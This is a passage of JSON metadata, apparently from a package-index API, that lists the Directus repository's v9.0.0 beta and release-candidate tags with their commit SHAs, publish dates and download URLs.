a16533d21d8e5","kind":"tag","published_at":"2021-01-28T22:54:20.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.33","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.33/manifests"},{"name":"v9.0.0-rc.32","sha":"a7cd02a5a61574cad66a5912214518f91f6e2dba","kind":"tag","published_at":"2021-01-25T23:10:02.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.32","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.32/manifests"},{"name":"v9.0.0-rc.31","sha":"39de4591b67941ca37ba16d9dda40a1911a9d706","kind":"tag","published_at":"2021-01-21T19:53:31.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.31","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.31/manifests"},{"name":"v9.0.0-rc.30","sha":"c9c764d242631c887f9908ef44bbe7eaafd92ed0","kind":"tag","published_at":"2021-01-15T22:33:36.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.30","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.30/manifests"},{"name":"v9.0.0-rc.29","sha":"53c0164ca1f296b0625c7bce3000ae74c14b6a05","kind":"tag","published_at":"2021-01-15T16:54:51.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.29","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.29/manifests"},{"name":"v9.0.0-rc.28","sha":"9666cf44fe113b0a11c0d91662ac9b31907f35b0","kind":"tag","published_at":"2020-12-31T20:45:49.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.28","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.28/manifests"},{"name":"v9.0.0-rc.27","sha":"225efcf50c8f5dc7be39d8c9c46d982efe11ea7c","kind":"tag","published_at":"2020-12-28T20:26:02.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.27","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.27/manifests"},{"name":"v9.0.0-rc.26","sha":"bb8bdc9f201031271b96e4e7524b7c1e81c8e2d4","kind":"tag","published_at":"2020-12-21T21:37:38.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.26","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.26/manifests"},{"name":"v9.0.0-rc.25","sha":"7fad80417d174fe90626eae7a8245c8c295638b6","kind":"tag","published_at":"2020-12-21T20:54:56.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.25","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.25/manifests"},{"name":"v9.0.0-rc.24","sha":"637c7a32ef278b3e091479589b39bdb64cddb3d9","kind":"tag","published_at":"2020-12-16T23:44:54.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.24","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.24/manifests"},{"name":"v9.0.0-rc.23","sha":"f45b42efec960be30d8e9068899d7c5e477ab8f3","kind":"tag","published_at":"2020-12-11T23:20:34.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.23","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.23/manifests"},{"name":"v9.0.0-rc.22","sha":"4dc8d7e742a7475ca9d42446b2b7d5957678dfe9","kind":"tag","published_at":"2020-12-09T13:35:19.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.22","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.22/manifests"},{"name":"v9.0.0-rc.21","sha":"203f3f7bbbcc45fad9e20a19a45bc94ef6399fcb","kind":"tag","published_at":"2020-12-08T23:37:42.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.21","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.21/manifests"},{"name":"v9.0.0-rc.20","sha":"5bcb004ca690390379517436b9eed54f376206fb","kind":"tag","published_at":"2020-12-03T18:23:01.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.20","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.20/manifests"},{"name":"v9.0.0-rc.19","sha":"d7b74e34734899650ce973aa2866a10e1826ab01","kind":"tag","published_at":"2020-11-28T02:01:36.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.19","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.19/manifests"},{"name":"v9.0.0-rc.18","sha":"82727863150ad06f8cbb7b966f69d580392640e3","kind":"tag","published_at":"2020-11-25T21:40:40.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.18","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.18/manifests"},{"name":"v9.0.0-rc.17","sha":"56028c413621fa04bec4c1d23135e8b98e3c7033","kind":"tag","published_at":"2020-11-20T20:31:32.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.17","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.17/manifests"},{"name":"v9.0.0-rc.15","sha":"290d272b5446c7b708630c4a86cf75f32436f16d","kind":"tag","published_at":"2020-11-19T02:09:22.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.15","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.15/manifests"},{"name":"v9.0.0-rc.14","sha":"e3b6ffa5953ab7a0a4d76bad7a89a16180f1cbd2","kind":"tag","published_at":"2020-11-13T22:46:16.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.14","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.14/manifests"},{"name":"v9.0.0-rc.13","sha":"5dda0d921754333f12916822805ca315f63036e4","kind":"tag","published_at":"2020-11-12T14:32:03.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.13","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.13/manifests"},{"name":"v9.0.0-rc.12","sha":"6691b72e3644979fbb32989224361d7cf865abb6","kind":"tag","published_at":"2020-11-10T22:54:14.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.12","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.12/manifests"},{"name":"v9.0.0-rc.11","sha":"333cdb571dd01e333ce2ccc40933135b4e330676","kind":"tag","published_at":"2020-11-10T22:10:45.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.11","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.11/manifests"},{"name":"v9.0.0-rc.10","sha":"79c29c0efbce4949162d392e602cdc7628444d28","kind":"tag","published_at":"2020-11-10T14:43:48.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.10","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.10/manifests"},{"name":"v9.0.0-rc.9","sha":"fd51b54a931d51695672fc9588761a4786853e05","kind":"tag","published_at":"2020-11-10T14:31:18.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.9","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.9/manifests"},{"name":"v9.0.0-rc.8","sha":"2cc6114411bdb150a86ada28e3eb6b7b3e116778","kind":"tag","published_at":"2020-11-05T23:57:42.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.8","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.8/manifests"},{"name":"v9.0.0-rc.7","sha":"0cbdcace62b370804d14ef4e246bed63c8d08e80","kind":"tag","published_at":"2020-11-05T14:47:50.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.7","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.7/manifests"},{"name":"v9.0.0-rc.6","sha":"220bdf3c4d2fc8e15120dd2fcc0948f007b59864","kind":"tag","published_at":"2020-11-04T00:28:21.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.6","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.6/manifests"},{"name":"v9.0.0-rc.5","sha":"99557a0e148e7f294dd00fb958a654c0587a0a9a","kind":"tag","published_at":"2020-11-02T21:58:52.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.5","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.5/manifests"},{"name":"v9.0.0-rc.4","sha":"e3a60b4bfaf90e8b1e70cceac3b66854c7b40cde","kind":"tag","published_at":"2020-10-30T22:44:19.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.4","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.4/manifests"},{"name":"v9.0.0-rc.3","sha":"6b345193c120ec058e9c154afd4fc37a483e55f0","kind":"tag","published_at":"2020-10-28T21:34:50.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.3","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.3/manifests"},{"name":"v9.0.0-rc.2","sha":"f921f00db9e745ff8b61c899cc47e7e4347a9108","kind":"tag","published_at":"2020-10-22T18:06:00.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.2","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.2/manifests"},{"name":"v9.0.0-rc.1","sha":"8a49d34564923238891d20e6c0effd3299cd39bc","kind":"tag","published_at":"2020-10-20T13:49:31.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.1","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.1/manifests"},{"name":"v9.0.0-rc.0","sha":"d3de6a5ae92c078cf83bab8080667cd81f36ab26","kind":"tag","published_at":"2020-10-16T23:30:02.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.0","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.0/manifests"},{"name":"v9.0.0-beta.14","sha":"fb087be075ff10f1a9862c3352a34ac6c4fb285b","kind":"tag","published_at":"2020-10-16T23:12:08.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-beta.14","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-beta.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-beta.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.14/manifests"},{"name":"v9.0.0-beta.13","sha":"2cca1d4f00327c8f879e79688872fb5e74b5cbb8","kind":"tag","published_at":"2020-10-15T23:03:36.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-beta.13","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-beta.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-beta.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.13/manifests"},{"name":"v9.0.0-beta.12","sha":"8cdf3cb23dc5983658cff32cba0e3daef647f8b7","kind":"tag","published_at":"2020-10-15T16:53:16.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-beta.12","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-beta.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-beta.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.12/manifests"},{"name":"v9.0.0-beta.11","sha":"9c5b95b392f274980432bf67bf792befc3594ed6","kind":"tag","published_at":"2020-10-14T21:28:36.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-beta.11","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-beta.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-beta.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.11/manifests"},{"name":"v9.0.0-beta.10","sha":"6ee74e06e7999629692afb11d796e1ba4f1e356f","kind":"tag","published_at":"2020-10-08T19:18:20.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-beta.10","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-beta.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-beta.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.10/manifests"},{"name":"v9.0.0-beta.9","sha":"2c0d14517667c85ee210381a9b0491940f3b4cb0","kind":"tag","published_at":"2020-10-05T23:39:38.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-beta.9","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-beta.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-beta.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.9/manifests"},{"name":"v9.0.0-beta.8","sha":"493e2b1c487d6fde309f02dfc6dce37b5539d577","kind":"tag","published_at":"2020-10-02T22:12:01.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-beta.8","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-beta.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-beta.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.8/manifests"},{"name":"v9.0.0-beta.7","sha":"ad24d69650f5d9979803b247817af1b249596f54","kind":"tag","published_at":"2020-10-02T18:18:35.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-beta.7","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-beta.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-beta.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.7/manifests"},{"name":"v9.0.0-beta.5","sha":"e5a1c62ae935ef94fbd6c1cf1dedc6979265d1d2","kind":"tag","published_at":"2020-10-02T16:10:19.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-beta.5","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.5/manifests"},{"name":"v9.0.0-beta.4","sha":"b66d2926f6d06e2ad0a6344cc72a13775acab899","kind":"tag","published_at":"2020-09-30T14:53:32.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-beta.4","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.4/manifests"},{"name":"v9.0.0-beta.3","sha":"0252d737bb0812137209bd0d02fdbef85df4f928","kind":"tag","published_at":"2020-09-29T23:05:17.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-beta.3","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.3/manifests"},{"name":"v9.0.0-beta.2","sha":"8b49221867c01c29a51e35f3c26da343f5cee24a","kind":"tag","published_at":"2020-09-25T22:28:31.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-beta.2","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-beta.2","dependencies_parsed_at":null,"dependenc